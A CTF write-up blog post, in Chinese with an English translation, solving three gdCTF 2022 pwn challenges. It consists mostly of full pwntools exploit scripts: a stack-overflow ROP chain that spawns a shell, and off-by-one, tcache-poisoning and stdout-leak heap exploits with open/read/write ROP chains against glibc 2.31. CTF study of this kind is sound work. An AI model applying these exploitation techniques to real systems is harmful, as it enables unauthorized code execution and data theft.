1355 字

7 分钟

阅读量 --

[2022gdCTF]jmp_rsp midpwn easyheap WP

2022-05-23

CTF

Pwn

GDCTF

jmp_rsp#

题目#

https://gitee.com/csomebro/ctftask/blob/master/2022-05_gdCTF/jmp_rsp.zip

解题思路#

直接一把梭，写入 ROP，在 bss 上写 shellcode 即可

EXP#

1
from pwn import *
2
import time
3

4
context.log_level='debug'
5

6
# io = process('./jmp_rsp')
7
io = remote('47.106.122.102', 44071)
8

9
elf = ELF('./jmp_rsp')
10

11
context.clear(arch='x86_64')
12
shell_code = asm(shellcraft.sh())
13

14
pop_rdi = 0x0000000000400696
15
pop_rsi = 0x0000000000410173
16
pop_rdx = 0x0000000000449395
17
vuln_buf = 0x00000006B9144
18
# gdb.attach(io)
19

20
p = 'a' * 0x88 + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(vuln_buf) + p64(pop_rdx) + p64(0x50) + p64(elf.sym['read']) + p64(vuln_buf)
21
io.sendline(p)
22
time.sleep(2)
23
io.sendline(shell_code)
24

25
io.interactive()

midpwn#

题目#

https://gitee.com/csomebro/ctftask/blob/master/2022-05_gdCTF/midpwn.zip

解题思路#

逆向分析发现，开了沙箱，需要利用 orw 进行文件内容泄露

通过逆向分析发现 edit 函数存在 off by one 的漏洞

最后的思路就是，通过 off by one 修改下一个堆块的 size 位置，构造堆块堆叠，接下来主要控制 tacache bin 的 fd 指针构造任意位置分配读写。

能够实现任意位置读写之后，构造堆块进入 unsortedbin，泄露 main_arena 的地址，从而泄露 libc_base，通过偏移量算出 environ 的地址（libc 地址中存放着 environ 变量，中存放着栈地址），再次构造堆块，分配到 environ 上面，泄露栈地址，最后，malloc 执行的位置是在 add 函数，通过计算偏移修改 add 函数返回地址，写入 ROP。

有关 ROP 的构造，实验发现 mmap 只需要前 4 个参数为 addr、size、7、34 即可分配出一个可执行的目标地址。

故构造 ROP，分配一个 0x23330000 的地址作为写入 shellcode 的地址，最后调用read(0,0x23330000,0x50)写入 orw

1
def func(a, b, c, d):
2
    pp = p64(pop_rdi) + p64(a)
3
    pp += p64(pop_rsi) + p64(b)
4
    pp += p64(pop_rdx_rcx_rbx) + p64(c) + p64(d) + p64(0)
5
    return pp
6
p = func(0x23330000, 0x1000, 7, 34) + p64(libc.sym['mmap'])
7
p += func(0, 0x23330000, 0x50, 0) + p64(libc.sym['read'])
8
p += p64(0x23330000)

有关 ORW 的构造

1
context(arch='amd64')
2
sc = asm(shellcraft.open('./flag'))
3
sc += asm(shellcraft.read(6, 0x23330000 + 0x300, 0x30))
4
sc += asm(shellcraft.write(1, 0x23330000 + 0x300, 0x30))

完整 EXP#

1
from pwn import *
2
import time
3

4
context.log_level='debug'
5
# getIO = lambda : process(['./ld-2.31.so', './orz'], env={'LD_PRELOAD': './libc-2.31.so'})
6
getIO = lambda : remote('120.79.220.233', 45715)
7
sc = ''
8
io = getIO()
9

10
def add(size, content):
11
    io.sendlineafter('Your choose which one?\n', '1')
12
    io.sendlineafter('please input note size : ', str(size))
13
    io.sendlineafter('please input your note.\n', content)
14
def add2(size, content):
15
    io.sendlineafter('Your choose which one?\n', '1')
16
    io.sendlineafter('please input note size : ', str(size))
17
    io.sendafter('please input your note.\n', content)
18

19
def edit(idx, content):
20
    io.sendlineafter('Your choose which one?\n', '2')
21
    io.sendlineafter('please input note index.\n', str(idx))
22
    io.sendlineafter('please input new note.\n', content)
23

24
def show(idx):
25
    io.sendlineafter('Your choose which one?\n', '3')
26
    io.sendlineafter('please input note index.\n', str(idx))
27
def delete(idx):
28
    io.sendlineafter('Your choose which one?\n', '4')
29
    io.sendlineafter('please input note index.\n', str(idx))
30

31
# gdb.attach(io)
32
stack_offset = 0x120
33
add(0x28, 'aaaa') # 0
34
for i in range(10):
35
    add(0xb0, 'aaaaaa') # 1 ~ 10
36
for i in range(10):
37
    delete(i)
38
for i in range(7):
39
    add(0xb0, 'aaaaa')
40
add2(0xb0, 'a')
41
show(7)
42
libc_base = u64(io.recv(8)) - (0x7f3a3e885d61 - 0x7f3a3e699000 )
43
log.success('libc_base:'+hex(libc_base))
44

45
environ = 0x01EF600 + libc_base
46
log.success('environ:'+hex(environ))
47

48
add(0x28, 'aaaa') # 8
49
add(0xb0, 'aaaa') # 9
50

51
add(0x28, 'aaaa') # 11 vuln
52
add(0x28, 'aaaa') # 12 edit
53
add(0x28, 'aaaa') # 13
54
add(0x28, 'aaaa') # 14
55
add(0x28, 'aaaa') # 15
56
add(0x28, 'aaaa') # 16
57

58
edit(11,'a' *0x28+'\xc1')
59
delete(12)
60
add(0xb0, 'aaaaa')
61
add(0x28, 'aaaa') # 17
62
delete(17)
63
delete(13)
64

65
edit(12, 'a'*0x28+p64(0x31)+p64(environ-0x10))
66

67
add(0x28, 'aaaa') # 13
68
add2(0x28, 'a'*0x10) # 17
69

70
show(17)
71
io.recv(16)
72
stack_base = u64(io.recv(8)) # - 0x1f438
73

74
log.success('stack_base:'+hex(stack_base))
75

76
pop_rdi = 0x0000000000023b72 + libc_base
77
pop_rsi = libc_base + 0x000000000002604f
78
pop_rdx_rcx_rbx = libc_base + 0x00000000001025ad
79
def func(a, b, c, d):
80
    pp = p64(pop_rdi) + p64(a)
81
    pp += p64(pop_rsi) + p64(b)
82
    pp += p64(pop_rdx_rcx_rbx) + p64(c) + p64(d) + p64(0)
83
    return pp
84

85
libc = ELF('./libc-2.31.so')
86
libc.address = libc_base
87
flag_path = '/home/pwn/flag\x00'
88

89
flag_path_addr = stack_base + 0x150
90
add(0x28, 'aaaa') # 18
91
add(0x28, 'aaaa') # 19
92
delete(19)
93
delete(18)
94
delete(13)
95
edit(12, 'a'*0x28+p64(0x31)+p64(flag_path_addr))
96
add(0x28, 'aaaa') # 13
97
add2(0x28, flag_path) # 18
98

99
edit(12, 'a'*0x28+p64(0xc1))
100
add(0xb0, 'aaaaa') # 19
101
delete(19)
102
delete(13)
103

104
add_ret =  stack_base - stack_offset
105

106
edit(12, 'a'*0x28+p64(0xc1) + p64(add_ret))
107
add(0xb0, 'aaaa') # 13
108

109

110
p = func(0x23330000, 0x1000, 7, 34) + p64(libc.sym['mmap'])
111
p += func(0, 0x23330000, 0x50, 0) + p64(libc.sym['read'])
112
p += p64(0x23330000)
113
log.success('len:' + hex(len(p)))
114

115
add(0xb0, p)
116
context(arch='amd64')
117
if sc == '':
118
    sc = asm(shellcraft.open('./flag'))
119
    sc += asm(shellcraft.read(6, 0x23330000 + 0x300, 0x30))
120
    sc += asm(shellcraft.write(1, 0x23330000 + 0x300, 0x30))
121

122
# gdb.attach(io)
123
time.sleep(0.2)
124
io.send(sc)
125

126

127
io.interactive()

easyheap#

题目#

https://gitee.com/csomebro/ctftask/blob/master/2022-05_gdCTF/easyheap.zip

解题思路#

主要漏洞在，v3 局部变量可能未初始化，可以提前布置栈帧，达到任意位置写入堆地址

以及还有一个 backdoor 函数，可以堆上任意写 8 字节（虽然只有一次，但利用上边的漏洞可以无限次）

利用 house of orange，修改_IO_2_stdout_，泄露 libc_base，再次利用泄露 environ 地址，栈地址，heap 基址

之后利用修改 tcachebin 上的 fd 指针，参考 midpwn 的解法，修改 add 函数的返回地址，写入 orw ROP，获得 flag

Exp#

1
from pwn import *
2
import ctypes
3
import time
4

5
context(arch="amd64")
6
context.log_level = 'debug'
7
getIO = lambda:process(['./ld-2.31.so', './easyheap'], env={'LD_PRELOAD': './libc-2.31.so'})
8
io = getIO()
9

10
def add(size, cont):
11
    io.sendlineafter('4.delete\n', '1')
12
    io.sendlineafter('Size?\n', str(size))
13
    io.sendafter('Context:\n', cont)
14

15
def add2(size, offset, cont):
16
    pp = '1\x00'
17
    pp += '\x00' * (12 - len(pp))
18
    pp += p32(ctypes.c_uint32(offset).value)
19
    io.sendafter('4.delete\n', pp)
20
    io.sendlineafter('Size?\n', str(size))
21
    io.sendlineafter('Context:\n', cont)
22

23
def add3(size, offset, cont):
24
    pp = '1\x00'
25
    pp += '\x00' * (12 - len(pp))
26
    pp += p32(ctypes.c_uint32(offset).value)
27
    io.sendafter('4.delete', pp)
28
    io.sendlineafter('Size?', str(size))
29
    io.sendafter('Context:', cont)
30

31
def edit(idx, cont):
32
    io.sendlineafter('4.delete\n', '2')
33
    io.sendlineafter('Idx?\n', str(idx))
34
    io.sendlineafter('Context:\n', cont)
35

36
def edit2(idx, cont):
37
    io.sendlineafter('4.delete', '2')
38
    io.sendlineafter('Idx?', str(idx))
39
    io.sendafter('Context:', cont)
40

41
def backdoor(size, offset, cont):
42
    io.sendlineafter('4.delete\n', '666')
43
    io.sendlineafter('Size?\n', str(size))
44
    io.sendlineafter('Offset?\n', str(offset))
45
    io.sendafter('Context:\n', cont)
46

47
def backdoor2(size, offset, cont):
48
    io.sendlineafter('4.delete', '666')
49
    io.sendlineafter('Size?', str(size))
50
    io.sendlineafter('Offset?', str(offset))
51
    io.sendafter('Context:', cont)
52

53
while 1:
54
    fake_size = 0x061 + 0x1000*1
55
    # add(,'aaaaa')
56
    backdoor(0x18, 0x6b8, p64(fake_size))
57
    add(0x2000, 'aaaaa')
58
    add(0x20, 'a')
59
    add(0x20, 'aaa')
60
    add(0x20, 'aaa')
61
    add(0x20, 'aaa')
62
    add(0x20, 'aaa')
63
    add(0x20, 'aaa')
64

65
    add2(0x10, -10, 'aaa')
66

67
    backdoor(0x18, -3080, '\xb0')
68
    # backdoor(0x18, -32, '\xb0')
69
    backdoor(0x18, -3616+6, p32(0x7))
70
    stdout_in = 0x16a0
71

72
    backdoor(0x18, 800, '\xa0\x16')
73

74
    # add2(0x18, 0, 'aa')
75
    flag = 0xfbad1800
76
    # add2(0x18, )
77
    add2(0x48, 1, 'aa')
78
    try:
79
        add2(0x48, 0, p64(flag)+p64(0)*3 + '\x08')
80
        inp = io.recv(8,timeout=0.2)
81
        if '1.add' in inp:
82
            assert 1 == 2
83
        stdin_addr = u64(inp)
84
        log.success('stdin_addr:'+hex(stdin_addr))
85
        break
86
    except:
87
        io.close()
88
        io = getIO()
89

90
libc_base = stdin_addr - 0x1ee7f0
91
log.success('libc_base:'+hex(libc_base))
92

93
main_arena_96 = 0x1ecbe0 + libc_base
94
edit2(0, p64(flag)+p64(0)*3 + p64(main_arena_96))
95

96
heap_base = u64(io.recv(8)) -0x23010
97
log.success('heap_base:'+hex(heap_base))
98

99
environ = 0x228138 + libc_base # 偏移量可能不同
100
edit2(0, p64(flag)+p64(0)*3 + p64(environ) + p64(environ+0x10) + p64(environ+0x10))
101
log.success('environ:'+hex(environ))
102

103
stack_environ = u64(io.recv(8))
104
log.success('stack_environ:'+hex(stack_environ))
105

106
rax_0 = 0x00000000000b1d89 + libc_base # xor rax, rax ; ret
107
rax_1 = 0x00000000000cfb50 + libc_base #  mov rax, 1 ; ret
108
rax_2 = 0x00000000000cfb60 + libc_base #  mov rax, 2 ; ret
109
pop_rdi = 0x0000000000023b72 + libc_base # pop rdi ; ret
110
pop_rsi = 0x000000000002604f + libc_base # pop rsi ; ret
111
xchg_eax_edi = 0x00000000000f1b95 + libc_base # xchg eax, edi ; ret
112
syscall = 0x00000630D9 + libc_base # syscall; ret in (funlockfile)
113

114

115
vuln_stack_tar = stack_environ - 0x138 + 0x20
116
backdoor2(0x18, -512, p64(vuln_stack_tar))
117

118
add3(0xf0-8, 1, 'aaaaaa')
119
# io.sendafter('4.delete', '1')
120
# io.sendlineafter('Size?', )
121

122
rop_tmp = [
123
    pop_rdi, 0xadd,
124
    pop_rsi, 0,
125
    rax_2, syscall, # open
126
    xchg_eax_edi, # eax -> edi fd
127
    pop_rsi, 0xadd,
128
    rax_0, syscall, # read
129
    pop_rdi, 1,
130
    rax_1, syscall # write
131
]
132
rop_tmp[1] = rop_tmp[8] = vuln_stack_tar + len(rop_tmp) * 8
133
rop_tmp = flat(rop_tmp) + './flag\x00'
134

135
# gdb.attach(io)
136
add3(0xf0-8, 1, rop_tmp)
137

138
io.interactive()

其他#

赛后的补题，比赛没时间了（菜），本地记得新建./flag 文件

Translate by Kimi-K3

jmp_rsp#

Challenge#

https://gitee.com/csomebro/ctftask/blob/master/2022-05_gdCTF/jmp_rsp.zip

Approach#

Just brute-force it: write the ROP chain, then write the shellcode onto the bss.

EXP#

1
from pwn import *
2
import time
3

4
context.log_level='debug'
5

6
# io = process('./jmp_rsp')
7
io = remote('47.106.122.102', 44071)
8

9
elf = ELF('./jmp_rsp')
10

11
context.clear(arch='x86_64')
12
shell_code = asm(shellcraft.sh())
13

14
pop_rdi = 0x0000000000400696
15
pop_rsi = 0x0000000000410173
16
pop_rdx = 0x0000000000449395
17
vuln_buf = 0x00000006B9144
18
# gdb.attach(io)
19

20
p = 'a' * 0x88 + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(vuln_buf) + p64(pop_rdx) + p64(0x50) + p64(elf.sym['read']) + p64(vuln_buf)
21
io.sendline(p)
22
time.sleep(2)
23
io.sendline(shell_code)
24

25
io.interactive()

midpwn#

Challenge#

https://gitee.com/csomebro/ctftask/blob/master/2022-05_gdCTF/midpwn.zip

Approach#

Reverse analysis shows that a sandbox is enabled, so we need to use orw to leak the file contents.

Reverse analysis also reveals an off-by-one vulnerability in the edit function.

The final idea is to use the off-by-one to modify the size field of the next chunk, construct chunk overlap, and then mainly control the fd pointer of the tcache bin to achieve arbitrary allocation, read and write.

Once arbitrary read/write is achieved, we arrange a chunk into the unsorted bin to leak the address of main_arena, and thereby leak libc_base. From the offset we compute the address of environ (the environ variable stored in libc holds a stack address). We then construct another chunk allocated on top of environ to leak the stack address. Finally, since malloc is executed inside the add function, we compute the offset and overwrite the return address of the add function, writing the ROP chain.

Regarding the ROP construction, experiments show that mmap only needs its first 4 arguments to be addr, size, 7, and 34 to allocate an executable target address.

So we build a ROP chain that allocates address 0x23330000 as the destination for the shellcode, and finally call read(0,0x23330000,0x50) to write the orw payload.

1
def func(a, b, c, d):
2
    pp = p64(pop_rdi) + p64(a)
3
    pp += p64(pop_rsi) + p64(b)
4
    pp += p64(pop_rdx_rcx_rbx) + p64(c) + p64(d) + p64(0)
5
    return pp
6
p = func(0x23330000, 0x1000, 7, 34) + p64(libc.sym['mmap'])
7
p += func(0, 0x23330000, 0x50, 0) + p64(libc.sym['read'])
8
p += p64(0x23330000)

Regarding the ORW construction:

1
context(arch='amd64')
2
sc = asm(shellcraft.open('./flag'))
3
sc += asm(shellcraft.read(6, 0x23330000 + 0x300, 0x30))
4
sc += asm(shellcraft.write(1, 0x23330000 + 0x300, 0x30))

Full EXP#

1
from pwn import *
2
import time
3

4
context.log_level='debug'
5
# getIO = lambda : process(['./ld-2.31.so', './orz'], env={'LD_PRELOAD': './libc-2.31.so'})
6
getIO = lambda : remote('120.79.220.233', 45715)
7
sc = ''
8
io = getIO()
9

10
def add(size, content):
11
    io.sendlineafter('Your choose which one?\n', '1')
12
    io.sendlineafter('please input note size : ', str(size))
13
    io.sendlineafter('please input your note.\n', content)
14
def add2(size, content):
15
    io.sendlineafter('Your choose which one?\n', '1')
16
    io.sendlineafter('please input note size : ', str(size))
17
    io.sendafter('please input your note.\n', content)
18

19
def edit(idx, content):
20
    io.sendlineafter('Your choose which one?\n', '2')
21
    io.sendlineafter('please input note index.\n', str(idx))
22
    io.sendlineafter('please input new note.\n', content)
23

24
def show(idx):
25
    io.sendlineafter('Your choose which one?\n', '3')
26
    io.sendlineafter('please input note index.\n', str(idx))
27
def delete(idx):
28
    io.sendlineafter('Your choose which one?\n', '4')
29
    io.sendlineafter('please input note index.\n', str(idx))
30

31
# gdb.attach(io)
32
stack_offset = 0x120
33
add(0x28, 'aaaa') # 0
34
for i in range(10):
35
    add(0xb0, 'aaaaaa') # 1 ~ 10
36
for i in range(10):
37
    delete(i)
38
for i in range(7):
39
    add(0xb0, 'aaaaa')
40
add2(0xb0, 'a')
41
show(7)
42
libc_base = u64(io.recv(8)) - (0x7f3a3e885d61 - 0x7f3a3e699000 )
43
log.success('libc_base:'+hex(libc_base))
44

45
environ = 0x01EF600 + libc_base
46
log.success('environ:'+hex(environ))
47

48
add(0x28, 'aaaa') # 8
49
add(0xb0, 'aaaa') # 9
50

51
add(0x28, 'aaaa') # 11 vuln
52
add(0x28, 'aaaa') # 12 edit
53
add(0x28, 'aaaa') # 13
54
add(0x28, 'aaaa') # 14
55
add(0x28, 'aaaa') # 15
56
add(0x28, 'aaaa') # 16
57

58
edit(11,'a' *0x28+'\xc1')
59
delete(12)
60
add(0xb0, 'aaaaa')
61
add(0x28, 'aaaa') # 17
62
delete(17)
63
delete(13)
64

65
edit(12, 'a'*0x28+p64(0x31)+p64(environ-0x10))
66

67
add(0x28, 'aaaa') # 13
68
add2(0x28, 'a'*0x10) # 17
69

70
show(17)
71
io.recv(16)
72
stack_base = u64(io.recv(8)) # - 0x1f438
73

74
log.success('stack_base:'+hex(stack_base))
75

76
pop_rdi = 0x0000000000023b72 + libc_base
77
pop_rsi = libc_base + 0x000000000002604f
78
pop_rdx_rcx_rbx = libc_base + 0x00000000001025ad
79
def func(a, b, c, d):
80
    pp = p64(pop_rdi) + p64(a)
81
    pp += p64(pop_rsi) + p64(b)
82
    pp += p64(pop_rdx_rcx_rbx) + p64(c) + p64(d) + p64(0)
83
    return pp
84

85
libc = ELF('./libc-2.31.so')
86
libc.address = libc_base
87
flag_path = '/home/pwn/flag\x00'
88

89
flag_path_addr = stack_base + 0x150
90
add(0x28, 'aaaa') # 18
91
add(0x28, 'aaaa') # 19
92
delete(19)
93
delete(18)
94
delete(13)
95
edit(12, 'a'*0x28+p64(0x31)+p64(flag_path_addr))
96
add(0x28, 'aaaa') # 13
97
add2(0x28, flag_path) # 18
98

99
edit(12, 'a'*0x28+p64(0xc1))
100
add(0xb0, 'aaaaa') # 19
101
delete(19)
102
delete(13)
103

104
add_ret =  stack_base - stack_offset
105

106
edit(12, 'a'*0x28+p64(0xc1) + p64(add_ret))
107
add(0xb0, 'aaaa') # 13
108

109

110
p = func(0x23330000, 0x1000, 7, 34) + p64(libc.sym['mmap'])
111
p += func(0, 0x23330000, 0x50, 0) + p64(libc.sym['read'])
112
p += p64(0x23330000)
113
log.success('len:' + hex(len(p)))
114

115
add(0xb0, p)
116
context(arch='amd64')
117
if sc == '':
118
    sc = asm(shellcraft.open('./flag'))
119
    sc += asm(shellcraft.read(6, 0x23330000 + 0x300, 0x30))
120
    sc += asm(shellcraft.write(1, 0x23330000 + 0x300, 0x30))
121

122
# gdb.attach(io)
123
time.sleep(0.2)
124
io.send(sc)
125

126

127
io.interactive()

easyheap#

Challenge#

https://gitee.com/csomebro/ctftask/blob/master/2022-05_gdCTF/easyheap.zip

Approach#

The main vulnerability is that the local variable v3 may be uninitialized. By arranging the stack frame in advance, we can write a heap address to an arbitrary location.

There is also a backdoor function that allows an arbitrary 8-byte write on the heap (it can only be used once, but combined with the vulnerability above it can effectively be used unlimited times).

Using House of Orange, we modify IO_2_stdout to leak libc_base, then leak the environ address, the stack address, and the heap base.

After that, by modifying the fd pointer in the tcache bin — following the same approach as midpwn — we overwrite the return address of the add function, write the orw ROP chain, and get the flag.

Exp#

1
from pwn import *
2
import ctypes
3
import time
4

5
context(arch="amd64")
6
context.log_level = 'debug'
7
getIO = lambda:process(['./ld-2.31.so', './easyheap'], env={'LD_PRELOAD': './libc-2.31.so'})
8
io = getIO()
9

10
def add(size, cont):
11
    io.sendlineafter('4.delete\n', '1')
12
    io.sendlineafter('Size?\n', str(size))
13
    io.sendafter('Context:\n', cont)
14

15
def add2(size, offset, cont):
16
    pp = '1\x00'
17
    pp += '\x00' * (12 - len(pp))
18
    pp += p32(ctypes.c_uint32(offset).value)
19
    io.sendafter('4.delete\n', pp)
20
    io.sendlineafter('Size?\n', str(size))
21
    io.sendlineafter('Context:\n', cont)
22

23
def add3(size, offset, cont):
24
    pp = '1\x00'
25
    pp += '\x00' * (12 - len(pp))
26
    pp += p32(ctypes.c_uint32(offset).value)
27
    io.sendafter('4.delete', pp)
28
    io.sendlineafter('Size?', str(size))
29
    io.sendafter('Context:', cont)
30

31
def edit(idx, cont):
32
    io.sendlineafter('4.delete\n', '2')
33
    io.sendlineafter('Idx?\n', str(idx))
34
    io.sendlineafter('Context:\n', cont)
35

36
def edit2(idx, cont):
37
    io.sendlineafter('4.delete', '2')
38
    io.sendlineafter('Idx?', str(idx))
39
    io.sendafter('Context:', cont)
40

41
def backdoor(size, offset, cont):
42
    io.sendlineafter('4.delete\n', '666')
43
    io.sendlineafter('Size?\n', str(size))
44
    io.sendlineafter('Offset?\n', str(offset))
45
    io.sendafter('Context:\n', cont)
46

47
def backdoor2(size, offset, cont):
48
    io.sendlineafter('4.delete', '666')
49
    io.sendlineafter('Size?', str(size))
50
    io.sendlineafter('Offset?', str(offset))
51
    io.sendafter('Context:', cont)
52

53
while 1:
54
    fake_size = 0x061 + 0x1000*1
55
    # add(,'aaaaa')
56
    backdoor(0x18, 0x6b8, p64(fake_size))
57
    add(0x2000, 'aaaaa')
58
    add(0x20, 'a')
59
    add(0x20, 'aaa')
60
    add(0x20, 'aaa')
61
    add(0x20, 'aaa')
62
    add(0x20, 'aaa')
63
    add(0x20, 'aaa')
64

65
    add2(0x10, -10, 'aaa')
66

67
    backdoor(0x18, -3080, '\xb0')
68
    # backdoor(0x18, -32, '\xb0')
69
    backdoor(0x18, -3616+6, p32(0x7))
70
    stdout_in = 0x16a0
71

72
    backdoor(0x18, 800, '\xa0\x16')
73

74
    # add2(0x18, 0, 'aa')
75
    flag = 0xfbad1800
76
    # add2(0x18, )
77
    add2(0x48, 1, 'aa')
78
    try:
79
        add2(0x48, 0, p64(flag)+p64(0)*3 + '\x08')
80
        inp = io.recv(8,timeout=0.2)
81
        if '1.add' in inp:
82
            assert 1 == 2
83
        stdin_addr = u64(inp)
84
        log.success('stdin_addr:'+hex(stdin_addr))
85
        break
86
    except:
87
        io.close()
88
        io = getIO()
89

90
libc_base = stdin_addr - 0x1ee7f0
91
log.success('libc_base:'+hex(libc_base))
92

93
main_arena_96 = 0x1ecbe0 + libc_base
94
edit2(0, p64(flag)+p64(0)*3 + p64(main_arena_96))
95

96
heap_base = u64(io.recv(8)) -0x23010
97
log.success('heap_base:'+hex(heap_base))
98

99
environ = 0x228138 + libc_base # the offset may differ
100
edit2(0, p64(flag)+p64(0)*3 + p64(environ) + p64(environ+0x10) + p64(environ+0x10))
101
log.success('environ:'+hex(environ))
102

103
stack_environ = u64(io.recv(8))
104
log.success('stack_environ:'+hex(stack_environ))
105

106
rax_0 = 0x00000000000b1d89 + libc_base # xor rax, rax ; ret
107
rax_1 = 0x00000000000cfb50 + libc_base #  mov rax, 1 ; ret
108
rax_2 = 0x00000000000cfb60 + libc_base #  mov rax, 2 ; ret
109
pop_rdi = 0x0000000000023b72 + libc_base # pop rdi ; ret
110
pop_rsi = 0x000000000002604f + libc_base # pop rsi ; ret
111
xchg_eax_edi = 0x00000000000f1b95 + libc_base # xchg eax, edi ; ret
112
syscall = 0x00000630D9 + libc_base # syscall; ret in (funlockfile)
113

114

115
vuln_stack_tar = stack_environ - 0x138 + 0x20
116
backdoor2(0x18, -512, p64(vuln_stack_tar))
117

118
add3(0xf0-8, 1, 'aaaaaa')
119
# io.sendafter('4.delete', '1')
120
# io.sendlineafter('Size?', )
121

122
rop_tmp = [
123
    pop_rdi, 0xadd,
124
    pop_rsi, 0,
125
    rax_2, syscall, # open
126
    xchg_eax_edi, # eax -> edi fd
127
    pop_rsi, 0xadd,
128
    rax_0, syscall, # read
129
    pop_rdi, 1,
130
    rax_1, syscall # write
131
]
132
rop_tmp[1] = rop_tmp[8] = vuln_stack_tar + len(rop_tmp) * 8
133
rop_tmp = flat(rop_tmp) + './flag\x00'
134

135
# gdb.attach(io)
136
add3(0xf0-8, 1, rop_tmp)
137

138
io.interactive()

Misc#

This is a post-competition re-attempt — I ran out of time during the event (I’m weak). Remember to create a ./flag file locally when testing.

[2022gdCTF]jmp_rsp midpwn easyheap WP

https://blog.csome.cc/p/2022gdCTF-pwn/

作者

Csome

发布于

2022-05-23

许可协议

CC BY-SA 3.0

[2022CISCN]华南赛区分区赛部分Pwn wp

[2022春秋杯] Pwn chunzhiIot wp